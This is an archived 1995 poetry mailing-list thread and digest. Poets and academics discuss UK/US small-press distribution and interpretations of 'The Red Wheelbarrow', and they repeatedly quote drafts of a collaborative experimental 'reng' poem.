Visibility of British Poetries most compatible with a broad swathe of viewpoints from this poetics list (not writers more generally put out by Carcanet or Bloodaxe, so much as those poets found in 'A Various Art' / 'The New British Poetry' or the forthcoming 'Conductors of Chaos') has diminished over the past 15 years both here and in the US. While small press publishing and little magazines are arguably on a slight optimistic up trend here, and there is a blossoming of grass roots organising and networking, new writing is often published in samizdat style editions of 100 copies or less. (NB there are notable exceptions - Pig Press, Reality Street among them). Hell even the Paladin series (of which Raworth's 'Tottering State' must be the most widely known Stateside) was remaindered after mostly only about 6 months on the shelves. Useful collections such as 'Future Exiles' have simply been hastily pulped!

Curiously, for some of the writers living here (and I imagine in NZ as well) there is a feeling (emergent on this list) that their closest peers and readers lie at least as frequently in the US as 'at home'. The old adage you quote of being 'divided by a common language' need not become a self-fulfilling prophecy. It's a term most appropriate to those xenophobic literary hacks who are the most tedious of standard english standard bearers. I'd characterise 'us' as more united by antinomian tendencies. We're seeking to explore pathways of exchange and discussion and distribution of both product and process for work

in poetry which as Allen Fisher puts it remains 'necessary business'. Part of that is a post-nationalistic desire to present appropriate ways for exchange that do not follow the business-imperative driven cultural asphyxias of multi-national role models.

unity in diversity is strength in depth
love and love
cris

↑ Index

163. Michael Boughn
Commie wheelbarrows
Thu 7 Sep 1995

> *Once my wife Angela Luoma asked her class what was happening in "The Red Wheelbarrow" and one of her bible belter students said it was all about the Communist empire and the innocent vistims.*

While teaching *Spring and All* last year, I had a similar response from a student (a good student, too) who had been told by her high school English teacher "The Red Wheelbarrow" was an allegory of the cold war. You know, the "red", the "white", tools, all that. Maybe it's a Canadian thing.

Mike
[redacted]

↑ Index

164. R I Caddel
UK/US/UK book distribution
Thu 7 Sep 1995

Yes, it's a problem, and not one that we look to bookstores to answer. Various UK small presses are available through SPD: Pig, Reality Street, North & South, Spectacular Diseases spring to mind; and Segue take some too. Over here we go to Alan Halsey, Paul Green or Compendium for US books: I've no idea if that would work in reverse. Heaven knows how we go about finding out what's goin on in, for instance, New Zealand, other than - as always - asking a friend.

Booksellers tell me that it's BECAUSE we all use these "specialist" outlets that "trade" bookshops don't touch smallpress poetry imports. The expression "bullshit" springs to mind.

As for London, Tony, since you asked in public I'll tell you: many wonderful things (including some of my best friends) are or have lodged in that city, which Cobbett called "The Great Wen". It's just that when I go there my breath clamps, I have to shout to be heard, the beer's too pricey, and I can never ditch

the feeling that I'm about to get exploited. As the home of a central government which has sucked the regions dry for about four centuries (and hasn't done any favours to most Londoners either), it creams off national resource to support its mainstream cultural icons (museums, orchestras, galleries etc) as if it owned them, and when regional resources come into the country (as in European Union funding), they get stuck in the "Capital" and creamed off by central power (I can support this statement at great length, If you like...). Hey, this internet thing is secure, isn't it?...

Just a personal thing, I guess...

x x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x x Durham University Library, Phone: 0[redacted] x x Stockton Rd. Durham DH1 3LY Fax: 0[redacted]
x x x x "Words! Pens are too light. Take a chisel to write." x x - Basil Bunting
x x x

↑ Index

165. CAROLYN L. FORCHE-MATTISON

Re: your american cousin/distribution

Thu 7 Sep 1995

I was intrigued by Chris Cheek's remarks concerning British distribution of poetries "most compatible with the broad swathe of viewpoints from this poetics list." During the past three years, I've become particularly interested in the "distribution problem." The poetics list is well aware that only one major distributor for such work remains in the U.S.: Small Press Distribution. During the past two years, I served on the NEA Small Press panel, chairing in the second year both that panel and the panel on distribution, during which time I attempted to the best of my ability to represent the interests of presses associated with the poetries of this list. The task required considerable patience and humor. Finally, I was also able to move that future distribution requests be raised to $100,000. All of this may be moot by now, but the experience was quite educative. The panel on small presses was persuaded to be generous. During the second year, the budget axe fell so deplorably early in the list that many presses which would have or did receive grants the first year did not in the second.

The tax law "reform" requiring publishers to pay tax on wharehoused books must be rescinded. The twenty-five or so remaining literary bookstores must be supported to the exclusion of even the most seemingly "literary" of the chains. It might please this list to know that Luisa of the Grolier in Cambridge (US) survives these days on the sale of poetry associated with the various interests of

this list. She can be reached at 1-800-234-POEM, and ships promptly. Her stock is extensive.

While in Prague this past summer, my Czech friends were lamenting that, during the past five years, editions of poetry and serious prose had "fallen" to two or three thousand copies. The population of the new Czech Republic is ten million. The Hungarians were similarly chagrined. They falsely believed the situation to be better here, and were stunned when I gave them the statistics I had collected while serving on the panel.

The "problem" of distribution is political, and not simply a matter of supply and demand.

Best,

Carolyn Forche

↑ Index

166. Loss Glazier
Re: UK/US/UK book distribution
Thu 7 Sep 1995

> *Yes, it's a problem, and not one that we look to bookstores to answer. Various UK small presses are available through SPD: Pig, Reality Street, North & South, Spectacular Diseases spring to mind; and Segue take some too. Over here we go to Alan Halsey, Paul Green or Compendium for US books: I've no idea if that would work in reverse. Heaven knows how we go about finding out what's goin on in, for instance, New Zealand, other than - as always - asking a friend.*

This may be one area (always look to a technology as a large shift but maybe with a small gain) that the electronic medium may help--and is of course the idea behind the EPC's small press and little magazine areas. (These areas specifically design to promote paper materials.) I suspect there are many more readers for some of this material than we think. (OK, maybe a few more.) But think of the possibilities--a central set of links--or several overlapping centres/centers of links--where such information can be housed. Listings are free. What has surprised me is that more presses don't list. But maybe that is something to come. We have had good reports from some publishers for whom we have posted announcements, that they see results. Of course this is why I try to encourage publishers to also provide samples of work; and we also maintain an area of pedagogical material--since if one small press book could be brought into every course it would change everything. But anyway, a place to find out about these works. Thinking largely, also, of people in regional situations (or as you say in other countries) where there may not be a place to

browse such materials. Hopefully this medium is serving as another possible bridge.

↑ Index

167. H. T. KIRBY-SMITH
Red Wheelbarrow
Thu 7 Sep 1995

My favorite explication of "The Red Wheelbarrow" was one I got, which explained that it was a tribute to the American Farmer. I mean so much depends on him.

About being bored with Williams, I would adapt Samuel Johnson's remark, "He who is tired of London is tired of life." People bored with Williams should go sit on the curb and wait for the trash people to take them off. Makes me think of the old woman in the ambulance in the Williams poem: "What are those things? Trees? Well I'm tired of them."

Tom Kirby-Smith
English Department
UNC-Greensboro
Greensboro NC 27412

↑ Index

168. Daniel Bouchard/College/hmco
Re: Red Wheelbarrow
Thu 7 Sep 1995

About being bored with Williams, I would adapt Samuel Johnson's remark, "He who is tired of London is tired of life." People bored with Williams should go sit on the curb and wait for the trash people to take them off

Tom Kirby-Smith

- Interesting comment, professor. Personally, I was bored with all the poets I read straight thru grad. school, but that didn't prevent me from reading them on my own where, without doubt, I got much more from the readings. Still, I never encountered that kind of remark. Maybe you were kidding (?) Anyway, why do you think students may be bored by Williams or any other poet? Why do you think there is an need felt by students to explicate a poem in the first place? I remember after 40 minutes of talking about a poem in class as an undergraduate, the instructor thought it went pretty well. But outside, among students, the feeling was still 'who the fuck cares.' I've kept at poetry despite all the professors I've had, and altho some were very good, very few could make a viable connection between the poetry and the students. Usually the points

were made between the poetry and the poet; the relevance of the poetry to the student being a matter of little significance. It's frustrating to hear such abstractions as a "general readership" in this country denigrated as a bunch of silly asses who can't appreciate the diverseness and sophistication of American literature. The question is: what can we do about it?

[redacted]

↑ Index

169. Aldon L. Nielsen
Re: What if it were all in Spanish?
Thu 7 Sep 1995

an aside to George's aside -- two decades ago the Casa de las Americas prize for best literary work in Spanish in the Americas went to Rolando Hinojoso for the first of his Klail City novels -- the author was a Texan -- for many literary academics in the U.S. at the time it came as a surprise that major literary works were being written in Spanish in the U.S. --

As Victor Hernandez Cruz says of Nebraska: "In this part of Mexico they speak English."

some of the others on this list probably had experiences similar to mine in college -- when I announced that I was going to read Spanish as my "tool" language for a future graduate school, my undergrad. advisors cautioned me that no "serious" criticism was written in Spanish -- I couldn't help wondering how they would know that --

↑ Index

170. Aldon L. Nielsen
Re: cousin cousine
Thu 7 Sep 1995

never been to Britain, so don't know -- can somebody who's looked for books in both the U.K. and the U.S. answer this? Particularly with regard to mid. sized & small presses? I can get "Spectacular Diseases" stuff here -- and journals like _Third Text_ -- but not much current British verse --

On Thu, 7 Sep 1995, Automatic digest processor wrote:

> *There are 27 messages totalling 954 lines in this issue.*
>
> *Topics of the day:*
>
> 1. *Poets, Nations, (2)*
> 2. *talisman*

3. UK-CALL
4. remg.reng.reng.reng (2)
5. address query
6. Dear Ed Foster,
7. Hard Press/Lingo New URL/Lingo 4 Online
8. boredom is a genteel way to take offense (3)
9. (Fwd) Re: UK-CALL (2)
10. UK Resources etc
11. rengazo
12. trying to find Jordan Davis
13. now and duende
14. your american cousin (3)
15. rejection rejection...
16. Jabes
17. Studying in England
18. Two rengs dont make a write (2)
19. duende

Date: Tue, 5 Sep 1995 17:27:57 -0700
From: George Bowering <[redacted]>
Subject: Re: Poets, Nations,

An aside to Ron's mentioning of poets who write in languages of fewer than 100 million people. It gets more difficult: think of Hungarian writers and Finnish writers. But there is another problem too, for writers who write in French in Quebec or Tahiti, or writers who write in English in Canada or new Zealand. In Canada the few readers there are are likely to be reading US writers rather than Canadian ones because of the US imperialist control of Canadian distribution. Concerning your question, Ron, about Califormia being a national literature. What if it were all in Spanish?

Date: Tue, 5 Sep 1995 13:34:57 -0500
From: Edward Foster <[redacted]>
Subject: talisman

we're not ever where we were: it's now talisman house at
p.o. box 3157
jersey city, nj 07303-3157
offices/stock room (UPS only) at
129 wayne st.
jersey city, nj 07302
phone: [redacted]

Date: Wed, 6 Sep 1995 10:05:11 GMT+1200
From: Tony Green <[redacted]>
Subject: Re: UK-CALL

talking of sharp knives small pies, Keith, you shd see what a small pie does to anything post 1910 ish in New Zealand. Alan Loney is a still a whipping boy and he's going grey.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

Date: Tue, 5 Sep 1995 17:11:48 -0700
From: George Bowering <[redacted]>
Subject: Re: remg.reng.reng.reng

Someone writes

In the books were dreams and in the dreams were books.>
And flew through windows, lightning green and fine morning
First inverted whistle of a bishop in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped lads, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed mind
kissing the weatherwoman between her beasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's
halfway pertinent incision we keep making safe for ignorance
(inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho,

kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco
warehouse, churls
no ideas but the woven fabric the texture so to speak was at the
dry cleaners
piping hot and gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' livers
the odor day toy a cello day dis chevys a bo coo daughter chose
encore
Flaubert because we're waiting all throughout eternity for
moments
of such suchness. In the nooks were creams and in the streams
were hooks.
All melted like striated film leftover in the pastel seeds of
darkness
falling like a counterirritant around the manchineel. Likewise
sandpaper juxtaposed with seasoned instruments and recently soft
fruit
of subject's object status, violent transformation
la Ste. Therese into beaming cumulus apokoinu switchback
and in the u-turns were bookmobiles rounding angles considered
shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprised
by how quiet effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
saunter lope pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles quantum:
there is no visible sky on its own (in this nature)
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
heats me up in the sleaze," it's like a huge dose
of familiarity. I am storing radiance for later use
among the invoices and the difference engines
Char, Lee, Parr, Kerr, everybody is here and there
collecting the stamp hinges that come in on the breeze
delicate lace flies into pelican Bills in the house
, while the door gave way when his fist fell upon it--

Date: Tue, 5 Sep 1995 10:50:49 -0500
From: "A. Morris" <[redacted]>
Subject: address query

For a project in process I'd like to be able to get in touch with
Tina Darragh, P. Inman, Erica Hunt, & Mei-mei Bersenbrugge. Can anyone
help me backchannel with addresses s-mail or e-mail? Thanks--

Dee

Date: Tue, 5 Sep 1995 11:10:59 -0500
From: Edward Foster <[redacted]>
Subject: Re: Dear Ed Foster,

But, Ron, the title "All Acts Are Simply Acts" is, to my mind, wholly ironic, an
d everything in the book works against it. When acts are simply acts we can char
m ourselves with such matters as the placement of words on the page. Or whatever
.

Date: Tue, 5 Sep 1995 15:34:05 -0400
From: Jorge Guitart <[redacted]>
Subject: Re: remg.reng.reng.reng

On Mon, 4 Sep 1995, Thomas Bell wrote:

Jordan Davis writes

In the books were dreams and in the dreams were books.>
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped lads, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her beasts as she
gives gracious problem: fanatical snacks, landscape of
flicka my best friend and the storm in the glass of water's

halfway pertinent incision we keep making safe for ignorance (inspection
denied for not knowing how credenza was meant) & neo-colonizing
pockets in small furniture intended house sequentially several
mountains away but it wasn't, you know, a big tango
when the attorney general came, selah hales said, "Dias, oh,ho, kook!"
Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls
no ideas but the woven fabric the texture so to speak was at the dry cleaners
piping hot and gloved-in somewhere unsalted, perched on prescience
the chair is sad, alas, and i've lusted tootles' livers
the odor day toy a cello day dis chevys a bo coo daughter chose encore
Flaubert because we're waiting all throughout eternity for moments to be
of such suchness. In the nooks were creams and in the streams were hooks.
All melded like striated film leftover in the pastel seeds of darkness
falling like a counterirritant around the manchineel. Likewise
sandpaper juxtaposed with seasoned instruments and recently soft fruit
of subject's object status, violent transformation
la Ste. Therese into beaming cumulus apokoinu switchback
and in the u-turns were bookmobiles rounding angles considered
shrill as pine left in the acres to be aging
flawlessly, flutes sing genderless in trio, surprised
by how quiet effort really is or is not, fast enough to sleep
through thunderstorms, arm over thigh until light shakes
petals free of names that rain across known skin forgotten
alive in our hearse hurts, projective nurse if she is to go ahead
and dance, composing instead of straining muscles, far eyes
saunter lope pentecost beam operator will you cockpit
out, transplanted organs speak, the idiom
inseams, a snare as solvently unequal-- the power
uncreased although each snare still trembles quantum
which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
heats me up in the sleaze," it's like a huge dose
of familiarity. I am storing radiance for later use
among the invoices and the difference engines

> *Char, Lee, Parr, Kerr, everybody is here and there*
> *>collecting the stamp hinges that come in on the breeze*
> *delicate lace flies into pelican Bills in the house*
> *of narration with partners of good moisture. Here, touch my*

Date: Tue, 5 Sep 1995 23:57:21 -0400
From: Kenneth Goldsmith <[redacted]>
Subject: Hard Press/Lingo New URL/Lingo 4 Online

Hard Press and Lingo: A Journal Of The Arts has a new URL:

http://hardpress.com

Please make a note of it as the old URL will soon disappear.

The entire text of Lingo 4 is available on the website.
Here's what's there:

LINGO 4

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Judy Fiskin Two Photogrpahs
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**will be up shortly*

Coming Soon On The Website: Lingo 3

Date: Wed, 6 Sep 1995 00:58:23 -0400
From: Rod Smith <[redacted]>
Subject: Re: boredom is a genteel way to take offense

*Re Williams & "boring": I was in a "workshop" back when I was young in which the "teacher" (an award-winning poet w/ major trade publications) read us, what else, The Red Wheelborrow & then asked the class "what is this poem about"-- he got several responses none of which were *the one* he was looking for-- after a bit of silence he sd, quite seriously, "well, obviously it's about Spring."*

--Rod

Date: Wed, 6 Sep 1995 13:47:33 GMT+1200
From: Tony Green <[redacted]>
Subject: (Fwd) Re: UK-CALL

This post would not go through to [redacted] something wrong with address (I can't think what) so list-members please excuse this back-channel going front-channel
------- Forwarded Message Follows -------
From: Self <CCNOV2/AHI_TGREEN>
To: [redacted]
Subject: Re: UK-CALL
Date: Wed, 6 Sep 1995 13:32:25

I've been following the conversation about Eng writers and Universities. It's good to know something is happening with Bunting and the "cambridge"poets, Mottram etc. It always seemed strange that way back in the fifties there was a total silence abt U.S. poets and poetics in Britain (as far as I cd tell). It was not till I got to New Zealand that I found out what was missing from my education (at Cambridge). It was Creeley's writing that sent me hunting for Bunting's books in London in 1977 (damned if I cd see much. "Who?" they said in places like Hatchards).
Good luck & cheers

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]

Telephone: 64 9 [redacted] ext. 8981 or 7276

Date: Wed, 6 Sep 1995 07:17:41 -0400
From: Pierre Joris <[redacted]>
Subject: Re: Poets, Nations,

Ron -- re small nations: you should come along next time I travel back to my own tribe, the Grand-Ducal nation of Luxembourg, with only 370000 bona-fide members & I'll take you to one of our writer's union meetings -- about 65 members strong right now, writing in several different languages -- Letzeburgesch, French, German, Portuguese, Italian & one or two even in English -- it's strangely exhilerating to note that books of poetry by eithewr of the two small presses over there are printed in editions of 1000 copies -- which is about the same as small to medium presses over here do.

==========
Pierre Joris | "Poems are sketches for existence."
Dept. of English | --Paul Celan
SUNY Albany |
Albany NY 12222 | "Revisionist plots
tel&fax:[redacted] | are everywhere and our pronouns haven't yet
email: | drawn up plans for the first coup."
[redacted] | --J.H. Prynne
==========

Date: Wed, 6 Sep 1995 13:33:58 +0100
From: R I Caddel <[redacted]>
Subject: UK Resources etc

The volumes of DLB which Kit Robinson refers to (v40, 1985, two parts) are useful as a starting-place for UK poetry up to the early eighties. Because they claim to cover ALL UK poetries of that period, there are a lot of boring people in there, and a lot of interesting ones left out (presumably a lot of boring people left out, for that matter...). The interesting inclusions include: Hollo and Raworth (as noted), Prynne, Roy Fisher, Gael Turnbull, Tom Pickard, John Riley, and a really spiffy one on Lee Harwood by me. There's also a little press round up, which leaves out much (including Fulcrum and Trigram), but includes Ferry, Grosseteste, Migrant, Goliard, Writer's Forum and Pig Press!

One hopes that one day Bruccoli-Clark will do a follow-up volume. But

spare a thought for those wandering souls who fail the country-of-origin test of these strictly controlled formats: for instance, where would Pierre Joris appear? Answers on a postcard... (Pierre: would you like to say what volume you'd like to appear in, and who you'd choose for company?)

Keith, it's far better to put me on the spot about "Czargrad", I tried to write about it years ago and failed (the bits I did write about John Riley are referenced in DLB40). Besides, I'm sure you recognised my blurb-writer's mode in any claims I made for it. Read it: It's a sustained piece of musicality, written at a time when Riley had assimilated the bits of "open field" which he wanted, (and rejected the bits he didn't want) and was revelling in life in general. It relates to his conversion to Russian Orthodoxy, but it's not an evangelical tract - Riley's "Holy City" is more closely related to the down-to-earth suburb of Leeds where he lived, tho it's infused with little bits of European history. And light - there's light everywhere in Riley's poems.

One of the accusations made against the Cambridge poets (generally, rather than specifically) is that they're icily "intellectual" ("intellectual" is a term of abuse in UK). Nobody could ever accuse John Riley of being icy.

Well, you did ask...
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
x x
x Richard Caddel, E-mail: R.I.Caddel @ durham.ac.uk x
x Durham University Library, Phone: 0[redacted] x
x Stockton Rd. Durham DH1 3LY Fax: 0[redacted] x
x x
x "Words! Pens are too light. Take a chisel to write." x
x - Basil Bunting x
x x
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

----

Date: Wed, 6 Sep 1995 09:15:14 -0400
From: Jorge Guitart <[redacted]>
Subject: Re: rengazo

****Someone*** `special' "writes"*

In the books were dreams and in the dreams were books.>
And flew through windows, lightning green and fine morning
First inverted whistle of a bishop in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee

> *These lace curtains, more gauze than bondage, more*
> *Mollycoddled than aware, thin-spined and pebbling*
> *but narrow in the waist or waspish Sunday years ago*
> *Over coffee topped with whipped lads, the Times blowing*
> *& opining, heavy humid air, cumulus amusing against the*
> *bleached ribcage ripcorded into compassed mind*
> *kissing the weatherwoman between her beasts as she*
> *gives gracious problem: fanatical snacks, landscape of*
> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho, kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, churls*
> *no ideas but the woven fabric the texture so to speak was at the dry cleaners*
> *piping hot and gloved-in somewhere unsalted, perched on prescience*
> *the chair is sad, alas, and i've lusted tootles' livers*
> *the odor day toy a cello day dis chevys a bo coo daughter chose encore*
> *Flaubert because we're waiting all throughout eternity for moments*
> *of such suchness. In the nooks were creams and in the streams were hooks.*
> *All melted like striated film leftover in the pastel seeds of darkness*
> *falling like a counterirritant around the manchineel. Likewise*
> *sandpaper juxtaposed with seasoned instruments and recently soft fruit*
> *of subject's object status, violent transformation*
> *la Ste. Therese into beaming cumulus apokoinu switchback*
> *and in the u-turns were bookmobiles rounding angles considered*
> *shrill as pine left in the acres to be aging*
> *flawlessly, flutes sing genderless in trio, surprised*
> *by how quiet effort really is or is not, fast enough to sleep*
> *through thunderstorms, arm over thigh until light shakes*
> *petals free of names that rain across known skin forgotten*
> *alive in our hearse hurts, projective nurse if she is to go ahead*
> *and dance, composing instead of straining muscles, far eyes*
> *saunter lope pentecost beam operator will you cockpit*
> *out, transplanted organs speak, the idiom*
> *inseams, a snare as solvently unequal-- the power*
> *uncreased although each snare still trembles quantum:*
> *there is no visible sky on its own (in this nature)*

which explains why the pump is busted and why
he preferred whole afternoons on the phone to that
crap about not having a cousin on the moon
capable of keeping the canoe right way up in the cool
prose of the upper Hudson, dinner's at seven so
start swimmin, bud: "lay me down in a wetsuit,
heats me up in the sleaze," it's like a huge dose
of familiarity. I am storing radiance for later use
among the invoices and the difference engines
Char, Lee, Parr, Kerr, everybody is here and there
collecting the stamp hinges that come in on the breeze
delicate lace flies into pelican Bills in the house
, while the door gave way when his fist fell upon it--
& the brutal reminder,"We speak lifelike in this house"

Date: Wed, 6 Sep 1995 09:24:47 -0400
From: Mark Wallace <[redacted]>
Subject: trying to find Jordan Davis

Jordan:

Will you please contact me back channel ASAP? The e-mail address I have for you turns out not to be the right one.
Sorry to burden everyone else with this.

mark wallace

Date: Wed, 6 Sep 1995 09:43:00 -0700
From: "Aldon L. Nielsen" <[redacted]>
Subject: Re: now and duende

tom -- this is not the source you're trying to remember -- but look at Bob Kaufman's poetry for a direct link between Duende and blues -- not an assertion that it's the _same_ phenomenon (I don't see how it could be) -- but a crucial link -- also in the Steve Jonas book that Ed Foster published a bit over a year ago -- and Jayne Cortez ,,,, and so on

---

Date: Wed, 6 Sep 1995 09:48:38 -0700
From: "Aldon L. Nielsen" <[redacted]>
Subject: Re: your american cousin

Ken -- who was it remarked that Britain and America are peoples divided

by a common language?

The real problem I see is the simple one of distribution -- _most_ of the poets mentioned recently, even those of the Cambridge "school" -- are not easily found in US book stores -- (Hell, for years you couldn't even buy a copy of Wilson Harris here, and he's published by Faber!) --

When I do spot an interesting British poet in a mag. or an anthology (or hear about one in a Tuma talk somewhere) -- then I can start working the phones to turn up a copy -- but it ain't easy -- even the Caracnet titles I've gotten over the years have all been found in obscure used book stores -- though I would hope none of what I just said is true in NY --

---

Date: Wed, 6 Sep 1995 13:49:55 -0500
From: Edward Foster <[redacted]>
Subject: Re: boredom is a genteel way to take offense

why is williams boring, jordan? aside from the fact that so much he did had been done by others better, it has, i think, much to do with the fact that he believ ed in evidence, like answers to a question. in yr mom's terms, yes, nj is boring .

Date: Wed, 6 Sep 1995 14:26:30 -0500
From: Joe Amato <[redacted]>
Subject: rejection rejection...

thought many of you might enjoy the following... it's a bit macademically centered, but it's witty as hell... i've stripped off most of the absurdly long mail header...

best,

joe (amato)

---------- Forwarded message ----------
Date: Tue, 15 Aug 1995 08:00:06 -0400
From: [redacted]
To: [redacted]
Subject: Fwd: a rejection letter

Thought you would enjoy this.
Catherine

Forwarded message:
From: [redacted] (Dan Garrett)
To: [redacted] (Dan Garrett)
Date: 95-08-12 20:13:38 EDT

Liz Boyle handed me a photocopied version of this:

March 21, 1988

Herbert A. Millington
Chair - Search Committee
412A Clarkson Hall
Whitson University
College Hill, MA 34109

Dear Professor Millington,

Thank you for your letter of March 16. After careful consideration, I regret to inform you that I am unable to accept your refusal to offer me an assistant professor position in your department.

This year I have been particularly fortunate in receiving an unusually large number of rejection letters. With such a varied and promising field of candidates it is impossible for me to accept all refusals.

Despite Whitson's outstanding qualifications and previous experience in rejecting applicants, I find that your rejection does not meet my needs at this time. Therefore, I will assume the position of assistant professor in your department this August. I look forward to seeing you then.

Best of luck in rejecting future applicants.

Sincerely,

Chris L. Jensen

--
Dan Garrett Stanford Economics [redacted]

Date: Wed, 6 Sep 1995 15:24:57 -0700
From: George Bowering <[redacted]>
Subject: Re: your american cousin

It was Oscar Wilde who made that remark abt Brits and Amerks being separated by a common language.

Date: Wed, 6 Sep 1995 17:23:12 CDT
From: eric pape <[redacted]>
Subject: Re: Jabes

Pierre:I think Jeff Humphries is working on a translation of _A Field of Islands_, but I don't know when and if it is coming out. I know you can read an excerpt (those of you who are EnglishOnly) on the LSU campus gopher under Body_L: literature electric and new.
Great stuff, incidentally.
Thanks, Eric.

Date: Thu, 7 Sep 1995 10:26:46 GMT+1200
From: Tony Green <[redacted]>
Subject: Re: your american cousin

Aldon, isn't this difficulty of transatlantic interconnection largely due to book-sellers agreements on trading. American publications are pretty well invisible in Britain aren't they?

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] ext. 8981 or 7276

Date: Thu, 7 Sep 1995 10:29:59 GMT+1200
From: Tony Green <[redacted]>
Subject: Re: Studying in England

In the later 1960's Art Historians in London decided that Modern Art could be taught, but not examined, because my informant (Leo Ettlinger) said nobody yet knew finally what it meant. My then colleague Ivor Davis, in Edinburgh, taught and examined Modern, and was duly persecuted for same. But survived.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] *ext. 8981 or 7276*

Date: Thu, 7 Sep 1995 10:39:17 GMT+1200
From: Tony Green <[redacted]*>*
Subject: (Fwd) Re: UK-CALL

Sorry, folks. I can't get back-channels to Durham. Machine problems of some sort.

" R I Caddel <[redacted]*>*
Subject: Re: UK-CALL
To: Tony Green <[redacted]*> said:*

.Bunting and the Cambridge Poets" - sounds like a mid-eighties art band to me... You struck it unlucky in your trip to London (but then, any trip to London is an unlucky one, in my experience): 1977 was the year before OUP reissuued Bunting's collected poems, as a cheapskate photographic copy of the long-out-of-print Fulcrum (1968) edition. It wasn't until 1994 that they actually reset Bunting, in the new "Complete Poems".

It was Bunting who introduced me to Creeley's work, as he did to Niedecker, David Jones, Zukofsky, and much else. I'd have been foolish to have tried to ask my teachers about them - in any case, if you want to know what's cooking, you always have to go to the kitchen...

best,
Richard"

Hope you don't mind this being public.

I did find a Fulcrum The Spoils in 1977. And got hold of the cheapskate reprint the next year thanks to a friend in London.

What's London done to you? I still visit, tho I haven't lived there
since 1957. I guess it's not yr home town.
Cheers.

Tony Green,
e-mail: [redacted]
post: Dept of Art History,
University of Auckland,
Private Bag 92019,
Auckland, New Zealand
Fax: 64 9-[redacted]
Telephone: 64 9 [redacted] *ext. 8981 or 7276*

Date: Wed, 6 Sep 1995 15:51:05 -0700
From: George Bowering <[redacted]*>*
Subject: Re: boredom is a genteel way to take offense

Once my wife Angela Luoma asked her class what was happening in "The
Red Wheelbarrow" and one of her bible belter students said it was all
about the Communist empire and the innocent vistims.

Date: Wed, 6 Sep 1995 16:14:59 -0700
From: George Bowering <[redacted]*>*
Subject: Re: Two rengs dont make a write

On Mon, 4 Sep 1995, Thomas Bell wrote:

Jordan Davis writes

In the books were dreams and in the dreams were books.>
And flew through windows, lightning green and fine morning
First inverted whistle of a cardinal in the poplar
The book and the oboe on the grass under sun and cloud
Go endlessly, an obtuse Prussian blue, it binds
The caravan of windows to what they flee
These lace curtains, more gauze than bondage, more
Mollycoddled than aware, thin-spined and pebbling
but narrow in the waist or waspish Sunday years ago
Over coffee topped with whipped lads, the Times blowing
& opining, heavy humid air, cumulus amusing against the
bleached ribcage ripcorded into compassed wind
kissing the weatherwoman between her beasts as she
gives gracious problem: fanatical snacks, landscape of

> *flicka my best friend and the storm in the glass of water's*
> *halfway pertinent incision we keep making safe for ignorance (inspection*
> *denied for not knowing how credenza was meant) & neo-colonizing*
> *pockets in small furniture intended house sequentially several*
> *mountains away but it wasn't, you know, a big tango*
> *when the attorney general came, selah hales said, "Dias, oh,ho, kook!"*
> *Edward Kennedy Ellington! "Tootin' Through the Roof" Tobacco warehouse, curls*
> *no ideas but the woven fabric the texture so to speak was at the dry cleaners*
> *piping hot and gloved-in somewhere unsalted, perched on prescience*
> *the chair is sad, alas, and i've lusted tootles' livers*
> *the odor day toy a cello day dis chevys a bo coo daughter chose encore*
